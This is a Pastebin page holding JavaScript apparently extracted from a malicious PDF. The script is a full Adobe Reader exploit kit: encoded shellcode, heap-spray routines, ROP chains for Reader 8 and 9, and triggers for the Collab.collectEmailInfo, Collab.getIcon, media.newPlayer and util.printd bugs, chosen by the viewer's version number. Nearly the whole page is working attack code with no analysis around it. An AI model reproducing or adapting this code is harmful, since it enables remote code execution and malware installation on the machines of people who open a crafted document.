Guest User

Javascript code compressed with CCITTFaxDecode filter (6cc2)

a guest
Apr 22nd, 2012
272
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function _scode(linkx){
  2.     linkx = linkx.replace(/X/g, "%u");
  3.     linkx = linkx.replace(/Y0/g, "A");
  4.     linkx = linkx.replace(/56SB/g, "E");
  5.     linkx = linkx.replace(/6MM/g, "9");
  6.     var scodex = '%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3B9%uF841%uF82D%uA582%uC07B%uAA2D%u2DED%uBAF8%u7BA5%uA22D%uA52D%u0D63%uFFF8%u4E65%u5987%u5959%uE828%u4AA8%u6C95%uFD2C%u7ED8%uD544%uBC90%uD689%u1DF8%uBD47'+linkx;
  7.     return scodex;
  8. }
  9.  
  10. function heap_spray(ver){
  11.  
  12.     if (ver == 9){
  13.         var rop = '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000';
  14.     }
  15.     if (ver == 8){
  16.         var rop = '%u4141%u4141%u4141%u4141%u4141%u4141%u1705%u4a80%u50e0%u4a84%u630f%u4a80%ueba3%u4a80%u203c%u4a82%u57bc%u4a80%u107d%u4a80%u54e0%u4a82%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u1705%u4a80%u107d%u4a80%ufe83%u4a81%u1c01%u4a80%u0008%u0000%u597d%u4a80%ueba3%u4a80%u2038%u4a82%u57bc%u4a80%u107d%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u1705%u4a80%u107d%u4a80%ufe83%u4a81%u1c01%u4a80%u0008%u0000%u597d%u4a80%ueba3%u4a80%u2030%u4a82%u57bc%u4a80%u107d%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u1705%u4a80%u50e4%u4a84%u630f%u4a80%u1705%u4a80%u107d%u4a80%ufe83%u4a81%u1c01%u4a80%u0030%u0000%u597d%u4a80%ueba3%u4a80%u50e4%u4a84%u58af%u4a80%u1705%u4a80%u107d%u4a80%ufe83%u4a81%u1c01%u4a80%u0020%u0000%u597d%u4a80%u1705%u4a80%u107d%u4a80%u00a0%u4a82%ueba3%u4a80%u0034%u0000%u795a%u4a80%u1705%u4a80%u107d%u4a80%ufe83%u4a81%u1c01%u4a80%u000a%u0000%u597d%u4a80%ueba3%u4a80%u2140%u4a82%u57bc%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000';
  17.     }
  18.     var link = this.info.Author;
  19.     var scode = rop + _scode(link);
  20.     scode = unescape(scode);
  21.     var fillblock = unescape("%u0c0c%u0c0c");
  22.     while (fillblock.length + 20 + 8 < 65536) fillblock+=fillblock;
  23.     heapblock = fillblock.substring(0, (0x0c0c-0x24)/2);
  24.     heapblock += scode;
  25.     heapblock += fillblock;
  26.     block = heapblock.substring(0, 65536/2);
  27.     while(block.length < 0x80000) block += block;
  28.     endblock = block.substring(0, 0x80000 - (0x1020-0x08) / 2);
  29.     var mem = new Array();
  30.     for (i=0;i<220;i++) mem[i]=endblock+"s";
  31.  
  32. }
  33.  
  34. function fix_it(yarsp, len) {
  35.     while (yarsp.length * 2 < len)
  36.         {yarsp += yarsp;}
  37.     yarsp = yarsp.substring(0, len / 2);
  38. return yarsp;
  39. }
  40.  
  41. function new_player(){
  42.     s=new Array();
  43.     var link = this.info.NP;
  44.     var sh = _scode(link);
  45.     var str="%u9090%u9090";
  46.     sh=unescape(sh);str=unescape(str);
  47.     while(str.length <= 0x8000) {str+=str;}
  48.     str=str.substr(0,0x8000 - sh.length);
  49.     for(i=0;i<250;i++) {s[i]=str + sh;}
  50.     util["printd"]("p@111111111111111111111111 : yyyy111", new Date());
  51.     util["printd"]("p@111111111111111111111111 : yyyy111", new Date());
  52.     try {
  53.         this["media"]["newPlayer"](null);
  54.     } catch(e) {}
  55.     util["printd"]("p@111111111111111111111111 : yyyy111", new Date());
  56. }
  57.  
  58. function collab_email() {
  59.     var link = this.info.coleml;
  60.     var sh = _scode(link);
  61.     var shellcode = unescape(sh);
  62.     var mem_array = new Array;
  63.     var cc = 202116108;
  64.     var addr = 4194304;
  65.     var sc_len = shellcode.length * 2;
  66.     var len = addr - (sc_len + 56);
  67.     var yarsp = unescape("%u9090%u9090");
  68.     yarsp = fix_it(yarsp, len);
  69.     var count2 = (cc - 4194304) / addr;
  70.     for (var count = 0; count < count2; count++) {mem_array[count] = yarsp + shellcode;}
  71.     var overflow = unescape("%u0c0c%u0c0c");
  72.     while (overflow.length < 44952) {overflow += overflow;}
  73.     this.collabStore = Collab.collectEmailInfo({subj: "", msg: overflow});
  74. }
  75.  
  76. function collab_geticon() {
  77.     if (app.doc.Collab.getIcon) {
  78.         var arry = new Array;
  79.         var link = this.info.colicn;
  80.         var sh = _scode(link);
  81.         var vvpethya = unescape(sh);
  82.         var hWq500CN = vvpethya.length * 2;
  83.         var len = 4194304 - (hWq500CN + 56);
  84.         var yarsp = unescape("%u9090%u9090");
  85.         yarsp = fix_it(yarsp, len);
  86.         var p5AjK65f = (197921804) / 4194304;
  87.         for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {arry[vqcQD96y] = yarsp + vvpethya;}
  88.         var tUMhNbGw = unescape("%09");
  89.         while (tUMhNbGw.length < 16384) {tUMhNbGw += tUMhNbGw;}
  90.         tUMhNbGw = "N." + tUMhNbGw;
  91.         app.doc.Collab.getIcon(tUMhNbGw);
  92.     }
  93. }
  94.  
  95. function go_toxx(pg){
  96.     this.print({
  97.     bSilent: true,
  98.     nStart: pg,
  99.     nEnd: pg
  100.     });
  101. }
  102.  
  103. function check_ver(){
  104.  
  105.     var version = app.viewerVersion.toString();
  106.     version = version.replace(/\D/g, "");
  107.     var ver_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
  108.  
  109.     if ((ver_array[0] == 9) && (ver_array[1] < 4))      {heap_spray(ver_array[0]);go_to(2);}   
  110.  
  111.     if (ver_array[0] == 8) {
  112.         if (ver_array[1] < 2)                           {heap_spray(ver_array[0]);go_to(3);}
  113.         if ((ver_array[1] == 2) && (ver_array[2] < 5))  {heap_spray(ver_array[0]);go_to(3);}
  114.     }
  115.    
  116.    
  117.     if (ver_array[0] == 7) {
  118.         if (ver_array[1] < 1)                           {collab_email();}
  119.         if (ver_array[1] == 1 && ver_array[2] < 1)      {collab_geticon();}
  120.         if (ver_array[1] == 1 && ver_array[2] <= 4)     {new_player();}
  121.     }
  122.        
  123.     if (ver_array[0] < 7)                               {collab_email();}  
  124.    
  125.    
  126.    
  127. }
  128.  
  129. check_ver();
RAW Paste Data